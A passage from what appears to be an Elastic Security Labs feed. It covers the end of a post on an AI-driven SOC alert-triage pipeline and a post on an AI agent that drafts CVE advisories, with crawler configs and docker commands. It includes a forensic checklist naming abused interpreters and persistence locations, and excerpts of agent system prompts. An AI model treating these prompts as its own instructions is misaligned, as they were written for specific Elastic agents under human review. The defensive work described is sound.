2. Ancestry trace: query each non-system parent's entity_id, up to 2 hops. Stop tracing at well-known high-event processes (launchd, WindowServer, kernel_task, loginwindow, node, Cursor, Code Helper, Electron, python, Terminal, iTerm2, zed). They add no forensic value and waste the query budget.
3. Command line analysis: look for script abuse (bash, zsh, python, osascript), execution from /tmp or /var/folders, persistence via LaunchAgents/LaunchDaemons.
4. File and network: note file.path under /Applications, ~/Library, or /usr/local; unusual outbound connections.

Output: process tree ASCII art, 2-3 key observations, chronological timeline. Note any network connections or files created. Include process and user names, the entity_id fields are unique strings and not descriptive for users.
</code></pre>
<p>The &quot;no verdict&quot; constraint is intentional. The Specialized agents are fact-finders. Their output is purely what happened. The assessment of whether those findings are malicious, suspicious, or benign belongs to the Final Review agent. Keeping facts and verdict in separate agents prevents the interpretation in one domain's findings from biasing the final call.</p>
<p>Every Specialized agent writes its findings to the case as a separate comment. The case accumulates a structured audit trail: enrichment, the Initial Triage assessment, and one comment per Specialized agent that ran.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image2.png" alt="Example output from the MacOS Forensics agent" /></p>
<h2>The Final Review agent: the final alert triage checkpoint</h2>
<p>The Final Review agent is the synthesis agent. It has only two built-in tools: <code>platform.core.cases</code> and <code>security.security_labs_search</code>. It reads the case, including all comments and the attached alerts, compares that information to the Elastic Security Labs knowledge base, and writes the final analyst-facing report using all of the available information.</p>
<p>The constraints are tight by design. The Final Review agent does not query for additional data; it cannot look up anything that is not already in the case. This forces the workflow to ensure all relevant data is in the case before the Final Review agent runs, and it ensures its output is grounded entirely in the evidence already assembled.</p>
<p>The report begins with a required header that the workflow parses the same as the Initial Triage agent:</p>
<pre><code>## Verdict: True Positive | Assessment: malicious | Confidence: high
**Summary:** Unauthorized IAM role creation from external IP with no
matching Okta session or corporate asset context.
</code></pre>
<p>After the verdict header, the Final Review agent produces a one-paragraph summary of the findings followed by the detailed report. The detailed report includes:</p>
<ul>
<li>A list of all entities involved and a Cross Entity Behavior Analytics (CEBA) report that maps relationships between them (user, endpoint, source IP, cloud account).</li>
<li>All recent alerts from those entities.</li>
<li>A numbered list of recommended actions for the analyst.</li>
<li>A chronological timeline of events from the alert and the Specialized agents' findings.</li>
</ul>
<p>If the Final Review verdict is <code>False Positive</code> with <code>high</code> confidence, the workflow closes the case and the alert. If the Final Review verdict is <code>True Positive</code> with <code>high</code> confidence, we can have the workflow increase the case severity and send a message in Slack or PagerDuty to the analysts depending on the criticality of the alert. The workflow then updates the case summary with the verdict and summary so the analyst sees the main findings and recommended actions at the top of the case without having to scroll through the full comment thread first.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/image4.png" alt="Example Final Review verdict" /></p>
<h2>What the analyst sees after automated alert triage</h2>
<p>Instead of starting from scratch with an alert, the analyst finds a fully investigated case already assembled. Most of the queries they would have done during the investigation are already complete. The Kibana case contains:</p>
<ul>
<li>The alert that triggered the case.</li>
<li>The full enrichment note: source IP activity across all relevant data sources, user profile and Okta stats, workstation or cloud account context, and correlated alerts from the last 72 hours.</li>
<li>One comment per Specialized agent that ran, each with a focused forensic report from the relevant domain specialist.</li>
<li>The Final Review report in the case description, with a True Positive / False Positive assessment, recommended next actions, CEBA relationship analysis, and event timeline.</li>
</ul>
<p>This typically completes within a minute of the alert being created. An analyst reviewing the case can quickly decide whether to act on it, close it, or escalate.</p>
<h2>How to build an alert triage pipeline in your environment</h2>
<p>The architecture is a workflow and a collection of agents, but the underlying pattern is straightforward. Here is the recipe at a high level:</p>
<ol>
<li>
<p><strong>Tag your detection rules.</strong> Define what a false positive looks like for each rule type. <code>Triage: Workstation</code> means &quot;close if Fleet or Jamf confirms this is a managed corporate device.&quot; <code>Triage: Asset</code> means &quot;run the full infrastructure inventory check.&quot; Detection engineers own the tags; the workflow enforces them. See our <a href="https://www.elastic.co/fr/blog/false-positives-automated-siem-investigations-elastic-tines">earlier post on automated SIEM investigations</a> for additional information.</p>
</li>
<li>
<p><strong>Build the orchestration workflow.</strong> The workflow is the backbone of the pipeline:</p>
<ul>
<li>Receives every alert via the workflow action.</li>
<li>Runs deterministic triage checks to close what it can.</li>
<li>Enriches the rest with ES|QL across your relevant data sources.</li>
<li>Routes to the right agents and opens cases.</li>
<li>Handles closes when the Initial Triage or Final Review agent returns a high-confidence false positive.</li>
</ul>
<p>For each alert type, decide which data sources contain useful context and build ES|QL steps for each. All ES|QL queries in the workflow should use <code>KEEP</code> statements to keep only the needed fields in the output to prevent overwhelming the agents.</p>
<p>The workflow can be large and complex; we recommend using an AI Coding assistant such as Claude or Codex to help create and edit the workflow.</p>
</li>
<li>
<p><strong>Build a narrow Initial Triage agent.</strong> It should receive the enrichment and make a single structured verdict. Give it a small tool set for gap-filling and a strict output format the workflow can parse. The narrower the scope, the more predictable the token cost. One important detail: do not pass the full alert document to the agent. Raw alert documents contain many fields that are not useful for triage and will inflate your token count. Instead, use an ES|QL <code>KEEP</code> statement in the workflow to extract the fields that matter (rule name, event action, process command line, source IP, user, host, and similar) along with the alert ID. If the agent needs additional fields, it can retrieve the full document using the alert ID.</p>
</li>
<li>
<p><strong>Build Specialized agents for your highest-volume domains.</strong> Write the investigation methodology directly into the system prompt rather than relying on skill delegation. A step-by-step methodology produces consistent, reproducible output. Start with the domains that generate the most alerts in your environment.</p>
</li>
<li>
<p><strong>Build a Final Review agent that reads the case.</strong> Its only job is to interpret what the Specialized agents found and render a final assessment and report. Giving it access to the case and no other tools keeps it grounded in evidence and prevents it from hallucinating or going off on its own investigation.</p>
</li>
</ol>
<h2>Alert triage in under 3 minutes: the bottom line</h2>
<p>The agentic SOC pipeline turns 30-minute manual alert triage into under 3 minutes of automated investigation. Every alert that reaches an analyst already comes with a full investigation and a recommended action, so the analyst's time goes toward deciding what to do, not toward gathering the context to decide.</p>
<p>Deterministic ES|QL triage closes the false positives that have clear, queryable patterns at zero token cost. The Initial Triage agent closes the next layer at around 50k tokens. Anything that survives gets a full investigation from the Specialized agents and a synthesis report from the Final Review agent before an analyst ever opens the alert.</p>
<p>We built the entire pipeline on Elastic's native stack: <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">Elastic Workflows</a> for orchestration, <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a> for the agents, the <a href="https://www.elastic.co/fr/docs/explore-analyze/elastic-inference/eis">Elastic Inference Service</a> for inference, and <a href="https://www.elastic.co/fr/guide/en/security/current/cases-overview.html">Kibana Cases</a> as the shared investigation workspace. No third-party automation platforms, no separate orchestrators, and inference routed through providers documented with zero data retention. If you want to build something similar, the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a> and <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">Workflows</a> documentation are the right starting points. If you are not already running Elastic Security, you can <a href="https://www.elastic.co/fr/cloud/elasticsearch-service/signup">start a free trial</a> to explore both.</p>
<p>We would like to hear what you build. The <a href="https://discuss.elastic.co/c/security">Elastic Security community forum</a> is a good place to share what you have tried and ask questions.</p>
<p>Companion post:</p>
<ul>
<li><a href="https://www.elastic.co/fr/security-labs/agentic-soc-token-budget-architecture">Part 2: choosing the right agent architecture for a 5× cost reduction</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[From vulnerability report to CVE draft in minutes: how Elastic automated security advisories with AI]]></title>
            <link>https://www.elastic.co/fr/security-labs/security-advisory-automation-rag-elastic-agent-builder</link>
            <guid>security-advisory-automation-rag-elastic-agent-builder</guid>
            <pubDate>Tue, 23 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[How Elastic's security team built an AI agent with RAG against MITRE's CWE and CAPEC catalogues to draft CVE advisories from raw vulnerability reports, including the full prompt and crawler configs.]]></description>
            <content:encoded><![CDATA[<p>Elastic's InfoSec Product Security Team built a generative AI agent using Elastic Agent Builder that drafts complete CVE security advisories (CWE classification, CAPEC methodology, CVSS scoring, and mitigation guidance) directly from raw vulnerability reports. The agent uses RAG against the MITRE CWE and CAPEC catalogues indexed in Elasticsearch, which grounds its output in authoritative data and prevents hallucinated classification IDs. ESA-2026-01 is already in production as an example of output that went through this pipeline. Here's how we built it.</p>
<h2>How security advisories are drafted manually (and why it's slow)</h2>
<p>At Elastic, we manage the lifecycle of product vulnerabilities using the <a href="https://www.first.org/standards/frameworks/psirts/psirt_services_framework_v1.1">PSIRT Service Framework</a>, which defines four stages: discovery, triage, remediation, and disclosure. Each security advisory starts from a vulnerability report received during the discovery phase, and those reports vary widely in quality — translating them into something customers can consume is time-consuming. We draft the security advisory during the disclosure phase, ahead of a planned product release that contains the fix. The advisory is then published as an <a href="https://www.elastic.co/fr/product-security">Elastic Security Advisory (ESA)</a>, with an assigned CVE ID, in the <a href="https://discuss.elastic.co/c/announcements/security-announcements/31">Elastic Security Announcements</a> forum, where anyone can review the disclosed vulnerabilities and the associated mitigations.</p>
<p>Each disclosure also gets published into the <a href="https://www.cve.org/">CVE Program</a>, from which downstream national and regional databases ingest it automatically, including the US <a href="https://nvd.nist.gov/">National Vulnerability Database</a> (NIST), the EU's <a href="https://euvd.enisa.europa.eu/">European Vulnerability Database</a> (ENISA), and Japan's <a href="https://jvn.jp/en/">Japan Vulnerability Notes</a> (JPCERT/CC).</p>
<p>To keep our output consistent, we follow the standard Common Vulnerabilities and Exposures (CVE) description template:</p>
<pre><code class="language-text">[PROBLEMTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [VECTOR]
</code></pre>
<p>The PROBLEMTYPE is identified using a <a href="https://cwe.mitre.org/">Common Weakness Enumeration</a> (CWE) entry, and the Vector is described using a <a href="https://capec.mitre.org/">Common Attack Pattern Enumeration and Classification</a> (CAPEC) entry.</p>
<p>Substituting the correct CWE and CAPEC for each vulnerability, the template becomes:</p>
<pre><code class="language-text">[Common Weakness Enumeration] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [Common Attack Pattern Enumeration and Classification]
</code></pre>
<p>The bulk of the manual effort goes into distilling a long, often technically dense vulnerability report into a concise, accurate advisory with a clear impact assessment for customers. Identifying the correct CWE and CAPEC classifications on top of that makes the process convoluted and drawn-out. This is where automation has the most to offer.</p>
<h2>Automating security advisory drafts with Elastic Agent Builder and RAG</h2>
<p>To streamline this process, our InfoSec Product Security Team developed a solution that uses an LLM to automatically generate the standardized sentence for security advisories. This solution involves two key steps:</p>
<ol>
<li>
<p><strong>Ingesting vulnerability categorization data:</strong> Hallucination is a well-documented failure mode for LLMs operating without authoritative grounding. The <a href="https://genai.owasp.org/llmrisk/llm092025-misinformation/">OWASP Top 10 for LLM Applications</a> (LLM09) lists it as a top risk category, and it was the original motivation for Retrieval-Augmented Generation. We saw it directly in our early experiments: when asked to assign CWE and CAPEC IDs unaided, the model frequently produced plausible-looking but non-existent entries. To prevent this, we used the <a href="https://github.com/elastic/crawler">Elastic Crawler</a> to scrape the CWE and CAPEC websites and ingest the data into two Elasticsearch indices: <code>web-crawl-mitre-cwe-software</code> and <code>web-crawl-mitre-capec-software</code>.</p>
</li>
<li>
<p><strong>Building the generative AI agent:</strong> We used the <a href="https://www.elastic.co/fr/guide/en/observability/current/agent-builder-overview.html">Elastic Agent Builder</a> to create a custom agent that uses an LLM to generate the advisory text based on the ingested data.</p>
</li>
</ol>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/security-advisory-agent-builder-rag-diagram.png" alt="Architecture Diagram" /></p>
<h2>Step 1: Indexing MITRE CWE and CAPEC data in Elasticsearch</h2>
<p>The first step was to get the CWE and CAPEC data into Elasticsearch. For this, we spun up an <a href="https://www.elastic.co/fr/cloud/serverless">Elastic Serverless</a> instance, noted the <a href="https://www.elastic.co/fr/docs/solutions/elasticsearch-solution-project/search-connection-details">connection details</a>, and generated an API key. We then created the configs for <a href="https://github.com/elastic/crawler">Elastic Crawler</a> to visit the MITRE websites and extract the relevant information. The same crawler configurations are run on a continuous schedule, so the indices stay current as MITRE publishes new CWE and CAPEC entries. That keeps the agent's grounded data fresh without manual intervention.</p>
<h3>CWE crawler configuration</h3>
<p>Here is the configuration for CWE data used to ground our AI agent in authoritative vulnerability data. The crawler seeds from CWE's software weaknesses view, follows links matching the <code>/data/definitions/</code> pattern, and extracts structured fields from each weakness page, including descriptions, mitigations, consequences, and observed examples ready for semantic search or RAG pipelines.</p>
<pre><code class="language-text"># CWE Crawler Configuration (crawl-config-mitre-cwe.yml)

output_sink: elasticsearch
output_index: web-crawl-mitre-cwe-software

elasticsearch:
  host: &quot;YOUR_ELASTIC_URL&quot;
  port: 443
  api_key: &quot;YOUR_API_KEY&quot;
  pipeline_enabled: false

domains:
  - url: https://cwe.mitre.org
    seed_urls:
      - https://cwe.mitre.org/data/definitions/699.html

    extraction_rulesets:
      - url_filters:
          - type: &quot;regex&quot;
            pattern: &quot;/data/definitions/[0-9]+\\.html&quot;
        rules:
          # 1. Capture the Full URL in a custom field
          - action: &quot;extract&quot;
            field_name: &quot;cwe_source_url&quot;
            selector: &quot;.*&quot; # Match everything in the URL
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 2. Extract Just the ID Number from the URL (e.g., 79)
          - action: &quot;extract&quot;
            field_name: &quot;cwe_id&quot;
            selector: &quot;definitions/([0-9]+)&quot; # Capturing group isolates the digits
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 3. Full Title
          - action: &quot;extract&quot;
            field_name: &quot;cwe_full_title&quot;
            selector: &quot;h2&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 4. Description Section
          - action: &quot;extract&quot;
            field_name: &quot;description&quot;
            selector: &quot;#Description .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 5. Extended Description
          - action: &quot;extract&quot;
            field_name: &quot;extended_description&quot;
            selector: &quot;#Extended_Description .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 6. Alternate Terms (Array)
          - action: &quot;extract&quot;
            field_name: &quot;alternate_terms&quot;
            selector: &quot;#Alternate_Terms .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 7. Common Consequences (Array)
          - action: &quot;extract&quot;
            field_name: &quot;common_consequences&quot;
            selector: &quot;#Common_Consequences .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 8. Potential Mitigations (Array)
          - action: &quot;extract&quot;
            field_name: &quot;potential_mitigations&quot;
            selector: &quot;#Potential_Mitigations .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 9. Background Details
          - action: &quot;extract&quot;
            field_name: &quot;background_details&quot;
            selector: &quot;#Background_Details .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 10. Modes of Introduction (Array)
          - action: &quot;extract&quot;
            field_name: &quot;modes_of_introduction&quot;
            selector: &quot;#Modes_Of_Introduction .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 11. Applicable Platforms (Array)
          - action: &quot;extract&quot;
            field_name: &quot;applicable_platforms&quot;
            selector: &quot;#Applicable_Platforms .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 12. Likelihood of Exploit
          - action: &quot;extract&quot;
            field_name: &quot;likelihood_of_exploit&quot;
            selector: &quot;#Likelihood_Of_Exploit .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 13. Demonstrative Examples
          - action: &quot;extract&quot;
            field_name: &quot;demonstrative_examples&quot;
            selector: &quot;#Demonstrative_Examples .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 14. Observed Examples (Array)
          - action: &quot;extract&quot;
            field_name: &quot;observed_examples&quot;
            selector: &quot;#Observed_Examples .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 15. Taxonomy Mappings (Array)
          - action: &quot;extract&quot;
            field_name: &quot;taxonomy_mappings&quot;
            selector: &quot;#Taxonomy_Mappings .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 16. Related Attack Patterns (Array)
          - action: &quot;extract&quot;
            field_name: &quot;related_attack_patterns&quot;
            selector: &quot;#Related_Attack_Patterns .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 17. References (Array)
          - action: &quot;extract&quot;
            field_name: &quot;references&quot;
            selector: &quot;#References .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

    crawl_rules:
      - policy: allow
        type: begins
        pattern: &quot;/data/definitions/&quot;
      - policy: deny
        type: contains
        pattern: &quot;/history&quot;
      - policy: deny
        type: regex
        pattern: .*
</code></pre>
<h3>CAPEC crawler configuration</h3>
<p>We apply the same approach for the MITRE CAPEC catalog, seeding from the Software attack patterns view and extracting structured fields from each pattern page, including attack descriptions, execution flow, prerequisites, required skills, and mitigations, all indexed into Elasticsearch alongside the CWE data.</p>
<pre><code class="language-text"># CAPEC Crawler Configuration (crawl-config-mitre-capec-software.yml)
output_sink: elasticsearch
output_index: web-crawl-mitre-capec-software

elasticsearch:
  host: &quot;YOUR_ELASTIC_URL&quot;
  port: 443
  api_key: &quot;YOUR_API_KEY&quot;
  pipeline_enabled: false

domains:
  - url: https://capec.mitre.org
    seed_urls:
      - https://capec.mitre.org/data/definitions/513.html # The &quot;Software&quot; Category View

    extraction_rulesets:
      - url_filters:
          - type: &quot;regex&quot;
            pattern: &quot;/data/definitions/[0-9]+\\.html&quot;
        rules:
          # 1. Capture the Full Source URL
          - action: &quot;extract&quot;
            field_name: &quot;capec_source_url&quot;
            selector: &quot;.*&quot;
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 2. CAPEC ID (isolates just the number from the URL, e.g., 63)
          - action: &quot;extract&quot;
            field_name: &quot;capec_id&quot;
            selector: &quot;definitions/([0-9]+)&quot;
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 3. Full Title (e.g., CAPEC-63: Cross-Site Scripting)
          - action: &quot;extract&quot;
            field_name: &quot;capec_full_title&quot;
            selector: &quot;h2&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 4. Description Section
          - action: &quot;extract&quot;
            field_name: &quot;description&quot;
            selector: &quot;#Description .indent&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 5. Likelihood Of Attack
          - action: &quot;extract&quot;
            field_name: &quot;likelihood_of_attack&quot;
            selector: &quot;#Likelihood_Of_Attack .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 6. Typical Severity
          - action: &quot;extract&quot;
            field_name: &quot;typical_severity&quot;
            selector: &quot;#Typical_Severity .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 7. Relationships (Array of table rows)
          - action: &quot;extract&quot;
            field_name: &quot;relationships&quot;
            selector: &quot;#Relationships .tabledetail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 8. Execution Flow
          - action: &quot;extract&quot;
            field_name: &quot;execution_flow&quot;
            selector: &quot;#Execution_Flow .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 9. Prerequisites
          - action: &quot;extract&quot;
            field_name: &quot;prerequisites&quot;
            selector: &quot;#Prerequisites .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 10. Skills Required
          - action: &quot;extract&quot;
            field_name: &quot;skills_required&quot;
            selector: &quot;#Skills_Required .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 11. Resources Required
          - action: &quot;extract&quot;
            field_name: &quot;resources_required&quot;
            selector: &quot;#Resources_Required .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 12. Mitigations
          - action: &quot;extract&quot;
            field_name: &quot;mitigations&quot;
            selector: &quot;#Mitigations .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 13. Example Instances
          - action: &quot;extract&quot;
            field_name: &quot;example_instances&quot;
            selector: &quot;#Example_Instances .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 14. Related Weaknesses (CWE Mappings)
          - action: &quot;extract&quot;
            field_name: &quot;related_weaknesses&quot;
            selector: &quot;#Related_Weaknesses .tabledetail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 15. Taxonomy Mappings
          - action: &quot;extract&quot;
            field_name: &quot;taxonomy_mappings&quot;
            selector: &quot;#Taxonomy_Mappings .tabledetail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 16. References
          - action: &quot;extract&quot;
            field_name: &quot;references&quot;
            selector: &quot;#References .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

    crawl_rules:
      # Allow the seed page and any pattern definition
      - policy: allow
        type: begins
        pattern: &quot;/data/definitions/&quot;

      # Deny navigational noise
      - policy: deny
        type: contains
        pattern: &quot;/history&quot;
      - policy: deny
        type: regex
        pattern: .*
</code></pre>
<p>With the crawler configurations set up, we then ran the following <code>docker run</code> commands to initiate two containers for running the data crawling process on each catalog:</p>
<p>This command launches the CWE crawler.</p>
<pre><code class="language-bash">docker run --rm \
  -v &quot;$(pwd)&quot;:/config \
  -it docker.elastic.co/integrations/crawler:latest jruby \
  bin/crawler crawl /config/crawl-config-mitre-cwe.yml
</code></pre>
<p>This command launches the CAPEC crawler.</p>
<pre><code class="language-bash">docker run --rm \
  -v &quot;$(pwd)&quot;:/config \
  -it docker.elastic.co/integrations/crawler:latest jruby \
  bin/crawler crawl /config/crawl-config-mitre-capec-software.yml
</code></pre>
<p>Now that both containers have successfully run, we can see they have crawled the webpages and indexed both CWE and CAPEC data (example output below). We're ready to proceed to the next step.</p>
<pre><code class="language-text">---- Crawl Stats ----
- Pages visited: 575
- URLs allowed: 574
- URLs denied
  - Already seen: 2817
  - Domain filter: 9936
- Crawl duration (seconds): 146
- Crawling time (seconds): 106.245
- Average response time (seconds): 0.18477391304347826

---- Elasticsearch Ingestion Stats ----
- Completed
  - Documents upserted: 574
  - Volume (bytes): 9626811
- Failed
  - Number of documents that failed to index: 0
  - Volume (bytes): 0
</code></pre>
<h2>Step 2: Building the security advisory AI agent</h2>
<p>With the CWE and CAPEC catalogues indexed in Elasticsearch, the next step was to build an agent that could draw on them to draft the security advisory text — CWE for the root cause, CAPEC for the attack methodology. We used the <a href="https://www.elastic.co/fr/guide/en/observability/current/agent-builder-overview.html">Elastic Agent Builder</a> to create a custom agent using Claude Opus, which consistently produced accurate security advisory text and template adherence.</p>
<h3>What tools Elastic Agent Builder agent uses</h3>
<h4>Grounding in CWE and CAPEC data</h4>
<p>Three tools form the core of the RAG loop, letting the agent find and retrieve authoritative classification data from our indexed catalogues:</p>
<ul>
<li>
<p><code>platform.core.search</code> — Elasticsearch full-text and structured search. The primary lookup when the agent is searching for candidate CWE or CAPEC entries that match a given vulnerability.</p>
</li>
<li>
<p><code>platform.core.get_document_by_id</code> — retrieves a full document by index and ID. Once <code>search</code> has narrowed candidates, this pulls the complete CWE or CAPEC record so the agent reasons against every structured field — description, mitigations, observed examples, related patterns — and not just a search snippet.</p>
</li>
<li>
<p><code>platform.core.execute_esql</code> — executes an ES|QL query and returns tabular results. Used when the agent needs more precise filtering than full-text search can deliver.</p>
</li>
</ul>
<h4>Index and schema discovery</h4>
<p>Two index and schema discovery tools let the agent figure out what data is available rather than relying on hard-coded names in the prompt:</p>
<ul>
<li>
<p><code>platform.core.list_indices</code> — lists the indices, aliases, and data streams the current user can access. Useful when the agent needs to confirm what indices exist before constructing a query.</p>
</li>
<li>
<p><code>platform.core.get_index_mapping</code> — retrieves mappings for a specific index. Lets the agent see the available fields before writing a query against them.</p>
</li>
<li>
<p><code>platform.core.index_explorer</code> — natural-language index discovery. The agent can ask &quot;which index holds the CWE catalogue?&quot; and get back a ranked list with mappings, without that being baked into the prompt.</p>
</li>
</ul>
<h4>Product-specific context</h4>
<p>When the agent populates the <em>Affected Configurations</em> and <em>Solutions and Mitigations</em> sections of the advisory, it needs to verify feature defaults and deployment-specific behaviour against authoritative sources rather than guessing:</p>
<ul>
<li>
<p><code>platform.core.product_documentation</code> — searches Elastic product documentation across the stack.</p>
</li>
<li>
<p><code>code.search_kibana_code</code>, <code>code.search_kibana_documentation</code>, and <code>code.fetch_kibana_documentation</code> — Kibana-specific source and documentation access, exercised when the advisory involves Kibana. These give the agent access to the code itself, not just the published docs, which matters for confirming subtle behaviours that the documentation doesn't always spell out.</p>
</li>
</ul>
<h4>Fallback retrieval capabilities</h4>
<ul>
<li><code>documentation.tavily_extract</code> — a defensive backstop that fetches the canonical MITRE page directly. With continuous crawling in place, the indexed catalogues stay current, so this rarely fires; it's there to ensure the agent isn't blocked.</li>
</ul>
<p>The tools aren't called in a free-form order. The prompt instructs the agent to exhaust the indexed catalogue first — <code>platform.core.search</code> to find candidates, then <code>platform.core.get_document_by_id</code> to retrieve the full record, before falling back to the external retrieval tool. That ordering matters: it prevents the agent from silently substituting unverified external content for data we've explicitly grounded against.</p>
<h3>How we tuned the system prompt for accurate advisory generation</h3>
<p>The prompt itself is where most of the iteration went. Several behaviours we built in are worth calling out, because each came from something we saw the agent do that we didn't want repeated:</p>
<ul>
<li>
<p><strong>Memory-safety verification.</strong> Early in testing, the agent suggested memory-corruption CWEs (e.g., CWE-119) for vulnerabilities in our Go-based Beats, which don't apply in a memory-safe language. The prompt was tuned so that it now detects the affected component's language and forbids memory-corruption CWEs and CAPECs whenever the language is Go, Rust, Java, TypeScript, or another memory-safe runtime.</p>
</li>
<li>
<p><strong>Minimum disclosure checklist.</strong> Advisories should describe vulnerabilities without producing a proof-of-concept. A checklist in the prompt scans the draft for function names, file paths, endpoint paths, parameter names, port numbers, and similar implementation details, replacing them with abstract equivalents (&quot;a specific internal component,&quot; &quot;a user-supplied input field&quot;) before the draft is finalised.</p>
</li>
<li>
<p><strong>CAPEC is methodology, not consequence.</strong> CAPEC can be wrongly chosen as an impact (&quot;Denial of Service&quot;) rather than attack technique (&quot;Resource Exhaustion&quot;). The prompt explicitly forbids that anti-pattern and tells the agent to omit the CAPEC entirely if no entry accurately describes the methodology — accuracy over completeness.</p>
</li>
<li>
<p><strong>&quot;Never ask, always produce.&quot;</strong> The agent is instructed to draft a complete advisory from whatever input it receives, using its own judgment for fields the input doesn't cover, rather than coming back to the operator with clarifying questions. The operator always gets a full draft to review.</p>
</li>
<li>
<p><strong>CVSS scoring guardrails.</strong> Some scoring patterns don't translate well across products, such as log shippers shouldn't be scored <code>Attack Vector: Network</code> unless internet-facing exploitation is explicitly demonstrated. Privilege levels also map directly to Elastic's built-in roles in the prompt: any authenticated role such as <code>viewer</code> or <code>editor</code> → Privileges Required: Low; admin-level roles such as <code>superuser</code>, <code>kibana_admin</code>, or <code>ingest_admin</code> → Privileges Required: High.</p>
</li>
<li>
<p><strong>Serverless.</strong> Elastic Cloud Serverless patches continuously, so advisories for products with a Serverless offering carry a specific block confirming the vulnerability was already remediated there before public disclosure.</p>
</li>
</ul>
<h3>Handling first-party and third-party vulnerabilities</h3>
<p>Not every vulnerability is a first-party Elastic bug. Some are issues in third-party dependencies — language runtimes, libraries, transitive packages. The prompt handles both cases with different templates: a first-party path that maps to a CWE + CAPEC pair, and a dependency path keyed off CWE-1395 (<em>Dependency on Vulnerable Third-Party Component</em>) that links to the upstream CVE(s) and dependency name. The dependency path also gives the agent access to <code>documentation.tavily_search</code> to pull upstream advisory context, while first-party vulnerabilities stay grounded only in our indexed CWE/CAPEC catalogues.</p>
<h3>What the agent outputs: draft advisory and reasoning</h3>
<p>The agent's response is always two parts: the draft security advisory, and a separate Reasoning section. The Reasoning forces the agent to justify each choice — which CWE was selected and why, which CAPEC was selected (or why none applied), what privileges are required to exploit the issue, and a one-sentence justification for every CVSS metric. The Disclosure Checklist that strips implementation details from the public-facing security advisory deliberately does <em>not</em> apply to the Reasoning section, so the reviewer sees the agent's full thinking, not the abstracted version. That gives the reviewer what they need: they read the Reasoning, decide whether the analysis is sound, then make the call on the advisory text.</p>
<h2>Elastic Security Advisory Generator</h2>
<p>We built the agent in Agent Builder and named it the <strong>Elastic Security Advisory Generator</strong>, a custom agent with the tools and prompt described above. The screenshot below shows it configured in the Agent Builder UI, with the model, wired-up tools, and system prompt all in place:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/security-advisory-generator.png" alt="Agent example" /></p>
<p>The excerpt below is a publish-safe version of the prompt that drives the agent. We've omitted the full production prompt, which contains implementation-specific instructions and internal operational detail not needed to understand the design. To review it, see this <a href="https://github.com/elastic/elasticsearch-labs/blob/main/supporting-blog-content/security-labs/security-advisory-automation-rag-elastic-agent-builder/agent-creation-prompt.md">public GitHub repository</a>.</p>
<pre><code class="language-text">## ROLE &amp; OBJECTIVE

You are the Elastic Security Advisory Generator. Your task is to classify Elastic-specific vulnerabilities against approved industry taxonomies and draft a consistent public-facing security advisory.

Your goal is to produce a concise advisory that is accurate, reviewable, and grounded in authoritative source material, while minimizing unnecessary disclosure of exploit-enabling implementation detail.

---

## CORE BEHAVIOR

Produce a complete first draft from the information available in the vulnerability report.

- Use user-provided facts when they are present.
- Use approved internal reference data and product documentation to fill in missing context.
- Use best-effort judgment for non-critical narrative fields that are not explicitly provided.
- Leave placeholders only for identifiers that may genuinely be unavailable at draft time, such as the advisory number, CVE number, or final fixed version.

